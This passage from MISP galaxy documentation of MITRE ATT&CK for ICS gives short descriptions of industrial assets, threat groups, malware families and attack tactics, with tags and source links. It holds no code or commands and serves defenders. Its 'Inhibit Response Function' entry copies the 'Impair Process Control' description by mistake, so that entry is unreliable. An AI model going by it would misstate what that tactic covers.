and control interface to operations users, engineering users and management users.

The tag is: *misp-galaxy:mitre-ics-assets="Human-Machine Interface"*

Input/Output Server

The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.

The tag is: *misp-galaxy:mitre-ics-assets="Input/Output Server"*

Safety Instrumented System/Protection Relay

A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.

The tag is: *misp-galaxy:mitre-ics-assets="Safety Instrumented System/Protection Relay"*

Groups

Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions..

Groups is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

ALLANITE

ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE's technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.

The tag is: *misp-galaxy:mitre-ics-groups="ALLANITE"*

Table 4873. Table References

Links
https://dragos.com/resource/allanite/
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk
https://www.eisac.com/public-news-detail?id=115909

APT33

APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.

The tag is: *misp-galaxy:mitre-ics-groups="APT33"*

Table 4874. Table References

Links
https://attack.mitre.org/groups/G0064/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://dragos.com/resource/magnallium/
https://www.wired.com/story/iran-hackers-us-phishing-tensions/
https://www.symantec.com/security-center/writeup/2017-030708-4403-99

Dragonfly

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly"*

Table 4875. Table References

Links
https://attack.mitre.org/groups/G0035/
https://dragos.com/resource/dymalloy/
https://www.us-cert.gov/ncas/alerts/TA17-293A
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Dragonfly 2.0

Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly 2.0"*

Table 4876. Table References

Links
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://dragos.com/resource/dymalloy/
https://blog.talosintelligence.com/2017/07/template-injection.html
https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf
https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf

HEXANE

HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.

The tag is: *misp-galaxy:mitre-ics-groups="HEXANE"*

Table 4877. Table References

Links
https://dragos.com/resource/hexane/
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms
https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003

Lazarus group

Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017.3 While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: *misp-galaxy:mitre-ics-groups="Lazarus group"*

Table 4878. Table References

Links
https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
https://dragos.com/resource/covellite/
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/
https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Leafminer

Leafminer is a threat group that has targeted Saudi Arabia, Japan, Europe and the United States. Within the US, Leafminer has targeted electric utilities and initial access into those organizations. Reporting indicates that Leafminer has not demonstrated ICS specific or destructive capabilities.

The tag is: *misp-galaxy:mitre-ics-groups="Leafminer"*

Table 4879. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://dragos.com/resource/raspite/

OilRig

OilRig is a suspected Iranian threat group that has targeted the financial, government, energy, chemical, and telecommunication sectors as well as petrochemical, oil & gas. OilRig has been observed operating in Iraq, Pakistan, Israel, and the UK, and has been linked to the Shamoon attacks in 2012 on Saudi Aramco.

The tag is: *misp-galaxy:mitre-ics-groups="OilRig"*

Table 4880. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html#apt34
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://dragos.com/resource/chrysene/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/

Sandworm

Sandworm is a threat group associated with the Kiev, Ukraine electrical transmission substation attacks which resulted in the impact of electric grid operations on December 17th, 2016. Sandworm has been cited as the authors of the Industroyer malware which was used in the 2016 Ukraine attacks.

The tag is: *misp-galaxy:mitre-ics-groups="Sandworm"*

Table 4881. Table References

Links
https://dragos.com/resource/electrum/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/

XENOTIME

XENOTIME is a threat group that has targeted and compromised industrial systems, specifically safety instrumented systems that are designed to provide safety and protective functions. Xenotime has previously targeted oil & gas, as well as electric sectors within the Middle east, Europe, and North America. Xenotime has also been reported to target ICS vendors, manufacturers, and organizations in the middle east. This group is one of the few with reported destructive capabilities.

The tag is: *misp-galaxy:mitre-ics-groups="XENOTIME"*

Table 4882. Table References

Links
https://dragos.com/resource/xenotime/

https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html
https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf

Levels

Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment..

Levels is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Level 0

The I/O network level includes the actual physical processes and sensors and actuators that are directly connected to process equipment.

The tag is: *misp-galaxy:mitre-ics-levels="Level 0"*

Level 1

The control network level includes the functions involved in sensing and manipulating physical processes. Typical devices at this level are programmable logic controllers (PLCs), distributed control systems, safety instrumented systems and remote terminal units (RTUs).

The tag is: *misp-galaxy:mitre-ics-levels="Level 1"*

Level 2

The supervisory control LAN level includes the functions involved in monitoring and controlling physical processes and the general deployment of systems such as human-machine interfaces (HMIs), engineering workstations and historians.

The tag is: *misp-galaxy:mitre-ics-levels="Level 2"*

Software

Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS..

Software is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

ACAD/Medre.A

ACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.

The tag is: *misp-galaxy:mitre-ics-software="ACAD/Medre.A"*

Table 4883. Table References

Links

Backdoor.Oldrea, Havex

Backdoor.Oldrea is a Remote Access Trojan (RAT) that communicates with a Command and Control (C2) server. The C2 server can deploy payloads that provide additional functionality. One payload has been identified and analyzed that enumerates all connected network resources, such as computers or shared resources, and uses the classic DCOM-based (Distributed Component Object Model) version of the Open Platform Communications (OPC) standard to gather information about connected control system devices and resources within the network.

The tag is: *misp-galaxy:mitre-ics-software="Backdoor.Oldrea, Havex"*

Table 4884. Table References

Links
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-176-02A
https://www.f-secure.com/weblog/archives/00002718.html
https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf
https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html
https://www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat
https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939
https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672

Bad Rabbit, Diskcoder.D

Bad Rabbit is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine.

The tag is: *misp-galaxy:mitre-ics-software="Bad Rabbit, Diskcoder.D"*

Table 4885. Table References

Links
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://securelist.com/bad-rabbit-ransomware/82851/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

BlackEnergy 3

BlackEnergy 3 is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid.

The tag is: *misp-galaxy:mitre-ics-software="BlackEnergy 3"*

Table 4886. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

Conficker

Conficker is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant.

The tag is: *misp-galaxy:mitre-ics-software="Conficker"*

Table 4887. Table References

Links
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml

Duqu

Duqu is a collection of computer malware discovered in 2011. It is reportedly related to the Stuxnet worm, although Duqu is not self-replicating.

The tag is: *misp-galaxy:mitre-ics-software="Duqu"*

Table 4888. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Flame

Flame is an attacker-instructed worm which may open a backdoor and steal information from a compromised computer. Flame has the capability to be used for industrial espionage.

The tag is: *misp-galaxy:mitre-ics-software="Flame"*

Table 4889. Table References

Links
https://www.symantec.com/security-center/writeup/2012-052811-0308-99
https://www.welivesecurity.com/2012/07/20/flame-in-depth-code-analysis-of-mssecmgr-ocx/
https://www.fireeye.com/blog/threat-research/2012/05/flamerskywiper-analysis.html

Industroyer

Industroyer is a sophisticated piece of malware designed to cause an Impact to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.1 Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.

The tag is: *misp-galaxy:mitre-ics-software="Industroyer"*

Table 4890. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.us-cert.gov/ncas/alerts/TA17-163A
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf

KillDisk

In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable.

The tag is: *misp-galaxy:mitre-ics-software="KillDisk"*

Table 4891. Table References

Links

https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

LockerGoga

LockerGoga is ransomware that has been tied to various attacks on industrial and manufacturing firms with apparently catastrophic consequences.

The tag is: *misp-galaxy:mitre-ics-software="LockerGoga"*

Table 4892. Table References

Links
https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

NotPetya

NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.

The tag is: *misp-galaxy:mitre-ics-software="NotPetya"*

Table 4893. Table References

Links
https://attack.mitre.org/software/S0368/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war

PLC-Blaster

PLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.

The tag is: *misp-galaxy:mitre-ics-software="PLC-Blaster"*

Table 4894. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf

Ryuk

Ryuk is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.

The tag is: *misp-galaxy:mitre-ics-software="Ryuk"*

Table 4895. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760

Stuxnet

Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.

The tag is: *misp-galaxy:mitre-ics-software="Stuxnet"*

Table 4896. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.symantec.com/security-center/writeup/2010-071400-3123-99
https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B
https://scadahacker.com/resources/stuxnet-mitigation.html
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Triton

Triton is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers

The tag is: *misp-galaxy:mitre-ics-software="Triton"*

Table 4897. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s
https://www.youtube.com/watch?v=XwSJ8hloGvY
https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-347-01+Triconex+V3.pdf&p_Doc_Ref=SEVD-2017-347-01
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02
https://nvd.nist.gov/vuln/detail/CVE-2018-8872
https://cwe.mitre.org/data/definitions/119.html
https://www.nrc.gov/docs/ML1209/ML120900890.pdf
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

VPNFilter

VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols

The tag is: *misp-galaxy:mitre-ics-software="VPNFilter"*

Table 4898. Table References

Links
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html
https://www.youtube.com/watch?v=yuZazP22rpI

WannaCry

WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains self-propagating ("wormable") features to spread itself across a computer network using the SMBv1 exploit EternalBlue.

The tag is: *misp-galaxy:mitre-ics-software="WannaCry"*

Table 4899. Table References

Links
https://attack.mitre.org/software/S0366/
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Tactics

A list of all 11 tactics in ATT&CK for ICS.

Tactics is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Collection

The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary's objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.

The tag is: *misp-galaxy:mitre-ics-tactics="Collection"*

Table 4900. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf
https://www.us-cert.gov/ncas/alerts/TA17-293A

Command and Control

The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim's network structure and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Command and Control"*

Table 4901. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090

Discovery

The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.

The tag is: *misp-galaxy:mitre-ics-tactics="Discovery"*

Table 4902. Table References

Links
https://attack.mitre.org/wiki/Technique/T1049
https://attack.mitre.org/wiki/Technique/T1040
https://attack.mitre.org/wiki/Technique/T1018

Evasion

The adversary is trying to avoid being detected.Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise. Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Evasion"*

Table 4903. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://attack.mitre.org/wiki/Technique/T1014
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258

Execution

The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.

The tag is: *misp-galaxy:mitre-ics-tactics="Execution"*

Table 4904. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
http://www.dee.ufrj.br/controle_automatico/cursos/IEC61131-3_Programming_Industrial_Automation_Systems.pdf

https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=
http://www.plcdev.com/book/export/html/373
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.f-secure.com/weblog/archives/00002718.html

Impact

The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary's goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.

The tag is: *misp-galaxy:mitre-ics-tactics="Impact"*

Table 4905. Table References

Links
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?*blob=publicationFile&v=3[https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf* ?blob=publicationFile&v=3]
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/

https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559

Impair Process Control

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: *misp-galaxy:mitre-ics-tactics="Impair Process Control"*

Table 4906. Table References

Links
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices
https://attack.mitre.org/techniques/T1489/
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf

Inhibit Response Function

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: *misp-galaxy:mitre-ics-tactics="Inhibit Response Function"*

Table 4907. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://attack.mitre.org/wiki/Technique/T1107
https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
http://cwe.mitre.org/data/definitions/400.html
https://nvd.nist.gov/vuln/detail/CVE-2015-5374
https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://attack.mitre.org/wiki/Technique/T1014
http://www.sciencedirect.com/science/article/pii/S1874548213000231

Initial Access

